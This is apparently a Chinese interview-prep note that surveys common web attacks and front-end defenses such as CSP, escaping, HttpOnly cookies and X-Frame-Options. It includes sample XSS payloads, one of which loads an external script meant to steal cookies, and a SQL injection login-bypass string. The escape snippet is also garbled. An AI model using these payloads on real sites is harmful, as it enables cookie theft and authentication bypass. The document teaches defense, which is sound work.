作为前端面试经常可能会问到的web相关安全问题,特地整理了一些常见的web攻击方式,理解了可以帮助你在面试过程中不慌不忙~
常见的web攻击方式
-
XSS
-
CSRF
-
点击劫持
-
SQL注入
-
OS注入
-
请求劫持
-
DDOS
防范方法
- 密码安全-密码加固
- 密码学
- 传输安全-https
- Nodejs安全框架
- CSP策略
一、XSS 跨站脚本攻击
- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的cookie值,在不知情的情况下,帮助攻击者发送恶意请求
-
显示伪造的文章或图片
-
1.1、XSS攻击分类
- 反射型-url参数直接注入(通过短连接生成伪装)
//普通
http://localhost:3000/?from=china
//alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
//获取cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
//伪造cookie入侵chrome
document.cookie = "xxx"
- 存储型 存储到DB后读取注入
//评论
<script>alert(1)</script>
//跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
1.2、XSS攻击的危害
- 获取页面数据
- 获取cookie
- 劫持前端逻辑
- 发送请求
- 偷取网站任意数据
- 偷取登录态
- 欺骗用户
1.3、XSS防御手段
- HEAD
ctx.set('X-XSS-Protection',0)
//禁止xss过滤(容易被伪装,现在已启用,safari有效)
> 0禁止过滤
> 1启用XSS过滤
- CSP
内容安全策略,本质上是建立白名单,明确告诉浏览器哪些外部资源可以加载和执行,我们只需要配置规则,如何拦截是由浏览器自己实现。
//只允许加载本站资源
Content-Security-Policy:default-src 'self'
//只允许加载Https协议图片
Content-Security-Policy:img-src https://*
//不允许加载任何来源框架
Content-Security-Policy:child-src 'none'
配置方法:
ctx.set('Content-Security-Policy',"default-src 'self'")
- 转义字符
用户输入用于不可信任,最普遍的方法是对输入内容进行转义,对于引号,尖括号,斜杆进行转义,特别是对于==富文本输入框==要进行拦截
function escape(str){
str = str.replace(/</g,'<')
...
}
或者使用外部库
- HttpOnly Cookie
预防窃取用户cookie最有效的防御手段,在设置cookie时将其属性设置为HttpOnly
response.addHeader('Set-Cookie','uid=112;Path=/;HttpOnly')
二、CSRF 跨站请求伪造
是一种常见的Web攻击,通过利用用户已登录的身份,在用户不知情的情况下完成非法操作】
2.1、CSRF危害
- 利用用户登录态
- 用户不知情
- 完成业务请求
- 盗取用户资金(转账,消费)
2.2、防御方法
- Referer Check -Https 不发送referer(比较古老),一般在https请求里会带这个字段,用于溯源
app.use(async (ctx,next)=>{
await next()
const referer = ctx.request.header.referer;
console.log()
})
- 验证码 人机图像验证码 + 短信
- cookie值加hash
三、点击劫持
是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe嵌套的方式嵌入自己的网页中,并将ifame设置为透明,在页面中透出一个按钮诱导用户点击,最经常的例子就是小游戏广告
3.1防御
- X-FRAME-OPTIONS
这是一个http响应头,在现代浏览器有一个很好的支持。这个响应头就是为了防御iframe嵌套的点击劫持攻击。
该响应头有三个值可选
- DENY 表示页面不允许通过iframe的方式展示
- SAMEORIGIN 表示页面可以在相同域名下通过iframe的方式针织
- ALLOW-FROM 表示页面可以在指定来源的iframe中展示
ctx.set('X-FRAME-OPTIONS','DENY')
四、SQL注入
示例:
//填入特殊密码
1'or'1'='1
//拼接后的SQL
SELETC *
FROM test.user
WHERE username = 'xxxx'
AND password = '1'or'1'='1' //后面那个1=1永真,则可以跳过
4.1 如何防御
- 对进入数据库的特殊字符进行转义处理
- 后端检查输入的数据是否符合预期,严格限制变量的类型,使用正则进行一些匹配处理
- 严格限制WEB应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限
五、请求劫持
- DNS劫持,dns被劫持导致访问得到的不是预期的ip地址
- 投诉到运营商和工信部
- ipv6
- HTTP劫持
- 可通过升级HTTPS解决
六、DDOS攻击
主要是恶意发送大量正常的请求,超出服务器的最大承受量,导致宕机。
6.1防御手段
- 备用网站,让用户短暂先访问备用网站,降低影响,最低限度可以显示公告,告诉用户网站出问题了在抢修。
- HTTP 请求拦截,高防IP - 靠谱的运营商(阿里云腾讯云)
- 硬件,服务器,防火墙
- 带宽扩容+cdn
- 提高犯罪成本